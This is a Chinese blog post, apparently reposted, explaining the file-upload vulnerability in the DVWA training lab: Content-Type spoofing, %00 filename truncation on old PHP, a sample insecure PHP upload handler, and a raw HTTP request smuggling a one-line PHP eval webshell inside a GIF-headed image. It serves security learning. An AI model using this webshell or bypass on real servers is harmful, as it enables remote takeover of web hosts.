【DVWA】Web漏洞实战之File Upload

 

File Upload

File Upload,即文件上传漏洞,一般的上传漏洞可能是未验证上传后缀 或者是验证上传后缀被bypass 或者是上传的文件验证了上传后缀但是文件名不重命名。

LOW

直接上传任意文件

 

 MEDIUM

 验证Content-Type,修改Content-Type为 image/jpeg直接绕过

 

HIGH

验证了后缀名、文件大小及限制了上传文件的文件头必须为图像类型。

利用条件:

在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为1.php%00.png。

高PHP版本会将%00转换成\0,高版本截断失效。

 

 

PHP 本地测试代码:

<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" /> 
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>


<?php
$uploaded_name = $_FILES[ 'file' ][ 'name' ]; 
$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 

if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Error: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "houzhui: ".$uploaded_ext;
    echo "<br />";
    echo "<pre>";
    echo print_r($_FILES);
    echo "</pre>"; 
    move_uploaded_file($_FILES["file"]["tmp_name"],"imag/" . $_FILES["file"]["name"]);
    }
  }
else
  {
  echo "Invalid file";
  }

?>

测试记录:

上传1.php.jpg 拦截 00截断

 服务端获取到的文件名$_FILES["file"]["name"]为1.php

 

00截断漏洞:

该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。

语法 1 move_uploaded_file ( string $filename , string $destination )

这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。

 

POST /dede/upload.php HTTP/1.1
Host: 192.168.106.141
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------96431875028546
Content-Length: 3160

-----------------------------96431875028546
Content-Disposition: form-data; name="file"; filename="3.jpg"
Content-Type: image/jpeg

GIF89aP 111111111111111
<?php eval($_POST[g]);?>
-----------------------------96431875028546
Content-Disposition: form-data; name="xxname"

1111111.php .jpg #进行截断
-----------------------------96431875028546
Content-Disposition: form-data; name="submit"

Submit
-----------------------------96431875028546--

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考链接:

  文件上传之绕过 http://www.jianshu.com/p/4e2248c486ee

      文件上传漏洞(绕过姿势)       https://zhuanlan.zhihu.com/p/25220150

  新手指南:DVWA-1.9全级别教程之File Upload  http://www.freebuf.com/articles/web/119467.html

     PHP任意文件上传漏洞(CVE-2015-2348)分析与利用 http://bobao.360.cn/news/detail/1383.html

 

转载于:https://www.cnblogs.com/xiaozi/p/6535136.html

别再到处找教程了!用PHPStudy Pro一键搞定DVWA靶场(附常见报错解决方案) 本文详细介绍了使用PHPStudy Pro一键搭建DVWA靶场的避坑指南,包括PHP版本选择、目录权限设置、数据库连接故障排查及常见报错解决方案。通过实战配置和优化建议,帮助用户快速搭建稳定的漏洞练习环境,提升网络安全学习效率。 阅读详情

相关推荐

DVWA——File Upload

此文章仅供学习使用,请勿用作违法行为。 目录 简介 文件上传漏洞 Webshell(网页后门) 造成文件上传漏洞的主要原因 危害 Low 上传一句话木马 使用蚁剑连接 Medium 上传一句话木马 拦截信息改变上传文件类型 蚁剑连接 简介: 文件上传漏洞: 文件上传漏洞主要攻击web服务,有文件上传存在的地方都有可能存在文件上传的漏洞,但并不是所有地方都存在这个漏洞。漏洞是否存在取决于对方的代码的完整性,若某些验证代码存在疏忽,就很可能造成文件上传漏洞。例...

qq_54448882的博客 3361

Kali Linux下DVWA靶场搭建与Web安全漏洞实战入门指南

Web安全测试是网络安全领域的核心实践,其原理在于通过模拟攻击者行为,发现并验证Web应用中的潜在漏洞。这项技术的价值在于帮助开发者与安全人员理解攻击链,从而构建更健壮的防御体系。在众多安全测试环境中,本地漏洞靶场为初学者提供了安全、可控的学习平台。其中,LAMP服务栈(Linux, Apache, MySQL/MariaDB, PHP)作为经典的Web开发环境,是部署和运行此类靶场的基础。通过在其中搭建像DVWA(Damn Vulnerable Web Application)这样故意设计有漏洞的Web应

weixin_29326909的博客 276

DVWA & File Upload文件上传最详细绕过

DVWA的使用练习: 今天学习的内容很有意思,也很实用。 DVWA其实本质上就是一个脆弱系统,它需要的是php+mysql的环境,旨在为安全人员提供一个合法的环境用来测试自己的专业技能和工具,并且让web安全工作着深刻的理解漏洞防范和入侵的本质原理,很适合我们这种小白锻炼自己,好废话不多说。。。。。 首先DVWA环境安装: 在下载DVWA之前我们需要一个php+mysql的环境,apach...

Hackpatrick的博客 2万+

一次文件上传Bypass安全狗学习笔记

上传文件时waf会检查哪里? 请求的url Boundary边界 MIME类型 文件扩展名 文件内容 常见扩展名黑名单: asp|asa|cer|cdx|aspx|ashx|ascx|asax php|php2|php3|php4|php5|asis|htaccess htm|html|shtml|pwml|phtml|phtm|js|jsp vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini 实验环境:mysql + apache+

m0_55754984的博客 535

dvwa low级别前五测试

摘要 本篇签到记录dvwa前五个漏洞的low级别测试过程和结果。顺便复习一下之前接触过的几个漏洞。 0x00 环境搭建 phpstudy+dvwa环境的搭建不难,这里就不详细说了,详细参照博客。 phpstudy下搭建dvwa 0x01 Brute Force(爆破) Brute Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的

苟有恒,必有三更眠,五更起。 2960

DVWA File Upload漏洞:从原理到实战的攻防演练

本文深入剖析了DVWA平台中的File Upload漏洞攻防实战。从Low级别的无防护上传,到Medium级别的MIME类型绕过,再到High级别的图片木马与文件包含组合攻击,最后详解Impossible级别的多维深度防御策略。通过源码审计与实战演练,系统阐述了文件上传漏洞的原理、常见攻击手法及构建真正安全上传功能的最佳实践。

weixin_29001655的博客 251

NotchDrop终极指南:如何让MacBook刘海变身智能文件中转站?

你是否曾盯着MacBook屏幕顶部的刘海,心里暗想:"这个设计除了放摄像头,还能做什么?" 今天,我要告诉你一个颠覆认知的答案:**这个刘海可以变成你的私人文件管家!** 没错,NotchDrop这款开源神器,能将MacBook的刘海区域转化为动态的文件暂存区和AirDrop快速通道。想象一下,你只需轻轻一拖,文件就能"飞"到刘海区域,随时待命,随时分享。这不仅仅是软件创新,更是对硬件潜力的重新定

gitblog_00022的博客 560

Upload_Bypas,一款针对文件上传的Fuzz检测工具

Upload_Bypass 是一个强大的工具,旨在帮助渗透测试人员和 Bug Hunters 测试文件上传机制。它利用各种漏洞赏金技术来简化识别和利用漏洞的过程,确保对 Web 应用程序进行全面评估。简化文件上传机制中漏洞的识别和利用利用漏洞赏金技术最大限度地提高测试效果支持对 Web 应用程序进行全面评估提供直观且用户友好的界面增强安全评估并帮助保护关键系统。

大河之犬的博客 1322

我的WafBypass之道(upload篇)

好文章,值得转载:https://xianzhi.aliyun.com/forum/read/458.html 0x00 前言 玩waf当然也要讲究循序渐进,姊妹篇就写文件上传好了,感觉也就SQLi和Xss的WafBypass最体现发散性思维的,而文件上传、免杀、权限提升这几点的Bypass更需要的是实战的经验。本文内容为沉淀下来的总结以及一些经典案例。想到哪写到哪,所

Master'Blog 2647

告别重打包:在Android 9上实现免Root的Frida-Gadget持久化Hook(附AOSP源码修改详解)

本文详细介绍了在Android 9上实现免Root的Frida-Gadget持久化Hook技术方案。通过修改AOSP源码,绕过传统重打包方式面临的签名校验和完整性检查,实现在非Root环境下的系统级Hook。文章包含核心代码修改、编译配置调整及调试技巧,为移动安全研究提供高效稳定的解决方案。

weixin_33726313的博客 501

Centos7网络配置(设置固定ip)

刚安装完系统,有的人尤其没有勾选自动网络配置的情况下,是访问不了外网的,本机也连不通虚拟机。或者现在有的是动态ip,几次之后启动ip地址就变了,会导致其他软件或程序之前连接配置要重新更改,很麻烦,下面讲解一下如何配置网络,如何设置成固定ip。

个人笔记git:https://gitee.com/tlangp/note.git 8054

DVWA的安装与一些解答

这是做DVWA的一些心得,借鉴比较多,但是总算做了一遍

一只菜鸟呀的博客 800

SceneSplat

目标:训练一个网络,输入高斯参数 → 输出与自然语言空间对齐的特征。考虑到标注语义的 3DGS 数据有限,作者设计了。策略,让模型在无标签场景上学到有用表征。都有一个与自然语言对齐的语义特征。这是整个方法的第一步,目标是让。

weixin_61091146的博客 1284

dvwa之file upload

文件上传漏洞(File Upload Vulnerability)是 Web 应用安全中一种常见的高危漏洞。当网站或应用允许用户上传文件,但未对上传的文件进行充分的安全校验(如文件类型、内容、大小、路径等)时,攻击者就可能上传恶意文件(如 Webshell、木马、恶意脚本等),从而获取服务器控制权、窃取数据或进行其他破坏。

2501_92682307的博客 909

手把手教你用ESP32驱动MAX30102心率血氧传感器(含完整代码)

本文详细介绍了如何使用ESP32微控制器驱动MAX30102心率血氧传感器,构建智能健康监测系统。内容涵盖PPG原理、硬件连接、驱动配置、信号处理算法以及Web服务器数据可视化,提供完整代码实现,帮助开发者快速上手物联网健康设备开发。

weixin_29208077的博客 587

IPSec Over GRE和GRE Over IPSec技术

IPSec Over GRE 和 GRE Over IPSec 一. 技术介绍 IPsec     主要作用是对数据进行加密,因为他能提供所有有时候被单独用作实现加密的一种方法!IPsec建立的是一个逻辑隧道,并不是真正意义上的隧道!并且不能提供路由功能,因为IPsec不支持非ip流量,也不支持广播(组播)! GRE     (通用路由封装)能很好的提供一个真正意义上的点对点的隧道,GRE是一种三层VPN封装技术。GRE可以对某些网络层协议(如IPX、Apple Talk、IP等)的报文进行封装,使封装后

qq_56228347的博客 9870

【DVWA File Upload 漏洞实战指南】(Low / Medium / High 全级别解析)

文件上传功能是 Web 应用中非常常见的一种功能,用于上传头像、文档、图片等文件。但如果验证不当,攻击者可能上传恶意脚本,进而控制服务器。在 DVWA 中,模块专门设计用于演练此类漏洞的不同防御等级。打开FileUpload的时候看到有红色的报错信息如图所示:报错一:Incorrect folder permissions: /var/www/html/dvwa/hackable/uploads/Folder is not writable.文件夹权限不正确:文件夹不可写。

weixin_40433003的博客 1670

6G网络的关键技术、应用前景与挑战并存的科技征途

移动通信技术正以前所未有的速度迭代更新,而6G技术的研发进程渐渐成为了当前科技领域的热点。全球各国已纷纷将目光投向了充满想象的6G时代。本文将探讨全球6G技术研发的最新进展,以及6G技术的核心创新与潜在应用。

fiberroad的博客 2424

DVWA -File Upload-通关教程-完结

这行代码检查上传文件的类型和大小是否符合要求,并使用 getimagesize() 函数验证上传文件是否为有效的图像文件。但是此时是不能用蚁剑连接的,因为蚁剑的原理是向上传文件发送包含参数的 post 请求,通过控制参数来执行不同的命令。如果上传文件不是 JPEG 或 PNG 格式,或者文件大小超过 100KB,则输出错误消息,指示上传的文件不符合要求。这段 PHP 代码是一个简单的文件上传处理程序,它接受通过 POST 请求上传的文件,并将其保存到指定的目录中。如果收到了该请求,说明用户尝试上传文件。

刘箫-技术库 3118

【Python爬虫案例教学】超简洁代码采集原神所有角色信息

(。・∀・)ノ゙嗨 大家好,这里是池鱼

xiaoyuan_____的博客 2421

Python爬虫实战:逆向解析央视频加密参数(附完整代码)

本文详细解析了央视频加密体系的技术实现,通过Python逆向工程实战演示如何解密动态密钥、AES加密和自定义哈希算法等核心组件。文章提供完整代码示例,涵盖GUID生成、参数构造和异步请求处理,帮助开发者掌握现代视频平台的反爬机制破解方法。

weixin_42532473的博客 1131

Dvwa靶场-File Upload

本文详细介绍了在DVWA靶场中绕过不同安全级别文件上传限制的方法。在Low级别中,通过修改PHP临时目录和前端文件大小限制成功上传木马;Medium级别则利用Burp Suite修改MIME类型绕过检测;High级别需制作图片马并配合命令注入漏洞将图片转为可执行文件。文章还演示了使用Hackbar和蚁剑连接木马的过程,以及解决乱码问题的方案。整个过程涵盖了从基础到高级的文件上传漏洞利用技术,为渗透测试提供了实用参考。

Y17837690351的博客 522

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

DVWA 靶场 File Upload 通关解析

文件上传是 Web 应用程序中常见的功能,但如果设计或实现不当,文件上传功能可能成为安全漏洞,导致严重的安全问题。以下是对文件上传的详细介绍,包括其原理、常见漏洞、攻击手法、防御措施和实例分析。一、文件上传的原理文件上传功能允许用户通过浏览器将本地文件传输到服务器。通常,用户在 Web 表单中选择文件,然后提交表单,服务器接收文件并将其存储在指定位置。用户在 Web 表单中选择文件。用户提交表单,浏览器通过 HTTP POST 请求将文件传输到服务器。服务器接收文件,进行处理和验证。

Flag少侠的博客 8817

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

上一篇: 基于端口的弱口令检测工具--iscan
下一篇: 内网安全检测小结
an0708
博客等级 码龄12年 30粉丝 0原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值